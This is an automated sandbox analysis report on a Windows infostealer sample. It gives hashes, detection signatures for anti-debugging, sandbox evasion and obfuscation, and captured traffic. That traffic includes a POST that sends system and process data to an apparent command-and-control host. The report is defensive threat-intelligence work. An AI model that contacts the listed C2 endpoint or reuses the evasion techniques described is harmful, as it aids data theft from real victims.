Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Hqle5OSmLQ.exe

Overview

General Information

Sample name:Hqle5OSmLQ.exe
renamed because original name is a hash value
Original sample name:4f6dab981f84c2ddb35307b748427e30.exe
Analysis ID:1582698
MD5:4f6dab981f84c2ddb35307b748427e30
SHA1:1dfe133b03505c6969babf5b533620e3b240ffda
SHA256:564084e14d92f08cd1e05273a44bfaf11dd7e539e64943ff59cc651622c18268
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Hides threads from debuggers
Infostealer behavior detected
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to create an SMB header
Detected potential crypto function
Entry point lies outside standard sections
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Hqle5OSmLQ.exe (PID: 8060 cmdline: "C:\Users\user\Desktop\Hqle5OSmLQ.exe" MD5: 4F6DAB981F84C2DDB35307B748427E30)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: Hqle5OSmLQ.exeAvira: detected
Multi AV Scanner detection for submitted file
Source: Hqle5OSmLQ.exeVirustotal: Detection: 48%Perma Link
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: Hqle5OSmLQ.exeJoe Sandbox ML: detected
Source: Hqle5OSmLQ.exeBinary or memory string: -----BEGIN PUBLIC KEY-----
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [ebp+04h], 424D53FFh0_2_00B4A5B0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_00B4A7F0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_00B4A7F0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_00B4A7F0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [edi+04h], 424D53FFh0_2_00B4A7F0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [esi+04h], 424D53FFh0_2_00B4A7F0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_00B4A7F0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: mov dword ptr [ebx+04h], 424D53FFh0_2_00B4B560
Source: Hqle5OSmLQ.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AE255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_00AE255D
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AE29FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_00AE29FF
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: POST /gduZhxVRrNSTmMahdBGb1735537738 HTTP/1.1Host: home.fortth14vs.topAccept: */*Content-Type: application/jsonContent-Length: 442494Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 36 38 37 33 39 31 36 33 36 32 37 34 33 33 37 36 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c
Source: global trafficHTTP traffic detected: GET /gduZhxVRrNSTmMahdBGb1735537738?argument=0 HTTP/1.1Host: home.fortth14vs.topAccept: */*
Source: global trafficHTTP traffic detected: POST /gduZhxVRrNSTmMahdBGb1735537738 HTTP/1.1Host: home.fortth14vs.topAccept: */*Content-Type: application/jsonContent-Length: 31Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BAA8C0 recvfrom,0_2_00BAA8C0
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: GET /gduZhxVRrNSTmMahdBGb1735537738?argument=0 HTTP/1.1Host: home.fortth14vs.topAccept: */*
Source: global trafficDNS traffic detected: DNS query: httpbin.org
Source: global trafficDNS traffic detected: DNS query: home.fortth14vs.top
Source: global trafficDNS traffic detected: DNS query: 18.31.95.13.in-addr.arpa
Source: unknownHTTP traffic detected: POST /gduZhxVRrNSTmMahdBGb1735537738 HTTP/1.1Host: home.fortth14vs.topAccept: */*Content-Type: application/jsonContent-Length: 442494Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 34 36 38 37 33 39 31 36 33 36 32 37 34 33 33 37 36 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Tue, 31 Dec 2024 08:45:31 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Tue, 31 Dec 2024 08:45:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://.css
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://.jpg
Source: Hqle5OSmLQ.exe, Hqle5OSmLQ.exe, 00000000.00000003.1525947436.0000000001F6C000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526346109.0000000001FA9000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550422328.0000000001FAC000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526031038.0000000001FA6000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526592917.0000000001FAB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fortth14vs.top/gduZ
Source: Hqle5OSmLQ.exe, 00000000.00000003.1525947436.0000000001F6C000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526346109.0000000001FA9000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550422328.0000000001FAC000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526031038.0000000001FA6000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1526592917.0000000001FAB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fortth14vs.top/gduZE_
Source: Hqle5OSmLQ.exe, 00000000.00000002.1550090351.0000000001F3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738
Source: Hqle5OSmLQ.exe, 00000000.00000002.1550000309.0000000001F0E000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000003.1525947436.0000000001F42000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550125592.0000000001F45000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738?argument=0
Source: Hqle5OSmLQ.exe, 00000000.00000003.1526574789.0000000001F38000.00000004.00000020.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1550090351.0000000001F3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738ff::3
Source: Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb1735537738http://home.fortth14vs.top/gduZhxVRrNSTmMah
Source: Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fortth14vs.top/gduZhxVRrNSTmMahdBGb18
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://html4/loose.dtd
Source: Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
Source: Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
Source: Hqle5OSmLQ.exeString found in binary or memory: https://curl.se/docs/hsts.html#
Source: Hqle5OSmLQ.exe, Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://httpbin.org/ip
Source: Hqle5OSmLQ.exe, 00000000.00000003.1414771440.0000000007B8F000.00000004.00001000.00020000.00000000.sdmp, Hqle5OSmLQ.exe, 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: https://httpbin.org/ipbefore
Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705

System Summary

barindex
PE file contains section with special chars
Source: Hqle5OSmLQ.exeStatic PE information: section name:
Source: Hqle5OSmLQ.exeStatic PE information: section name: .idata
Source: Hqle5OSmLQ.exeStatic PE information: section name:
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F79FE40_3_01F79FE4
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F77C3C0_3_01F77C3C
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F79FE40_3_01F79FE4
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F77C3C0_3_01F77C3C
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F79FE40_3_01F79FE4
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F77C3C0_3_01F77C3C
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F79FE40_3_01F79FE4
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_3_01F77C3C0_3_01F77C3C
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AF05B00_2_00AF05B0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AF6FA00_2_00AF6FA0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BAB1800_2_00BAB180
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B1F1000_2_00B1F100
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BB00E00_2_00BB00E0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E6E0500_2_00E6E050
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E6A0000_2_00E6A000
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B462100_2_00B46210
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BAE3E00_2_00BAE3E0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BAC3200_2_00BAC320
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BB04200_2_00BB0420
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E344100_2_00E34410
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AEE6200_2_00AEE620
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B4A7F00_2_00B4A7F0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E647800_2_00E64780
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BAC7700_2_00BAC770
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E467300_2_00E46730
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B9C9000_2_00B9C900
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AEA9600_2_00AEA960
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AF49400_2_00AF4940
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00CB6AC00_2_00CB6AC0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00D9AAC00_2_00D9AAC0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E58BF00_2_00E58BF0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AECBB00_2_00AECBB0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00C74B600_2_00C74B60
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00D9AB2C0_2_00D9AB2C
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E6CC900_2_00E6CC90
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E5CD800_2_00E5CD80
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E64D400_2_00E64D40
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00DFAE300_2_00DFAE30
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BAEF900_2_00BAEF90
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00BA8F900_2_00BA8F90
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E32F900_2_00E32F90
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B04F700_2_00B04F70
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00AF10E60_2_00AF10E6
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E4D4300_2_00E4D430
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E535B00_2_00E535B0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E356D00_2_00E356D0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00E717A00_2_00E717A0
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: 0_2_00B998800_2_00B99880
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00AFCD40 appears 64 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00B25340 appears 41 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00AECAA0 appears 62 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00AFCCD0 appears 54 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00AE71E0 appears 40 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00C97220 appears 89 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00B24F40 appears 290 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00B24FD0 appears 209 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00BC44A0 appears 56 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00AE73F0 appears 101 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00AE75A0 appears 575 times
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeCode function: String function: 00CBCBC0 appears 89 times
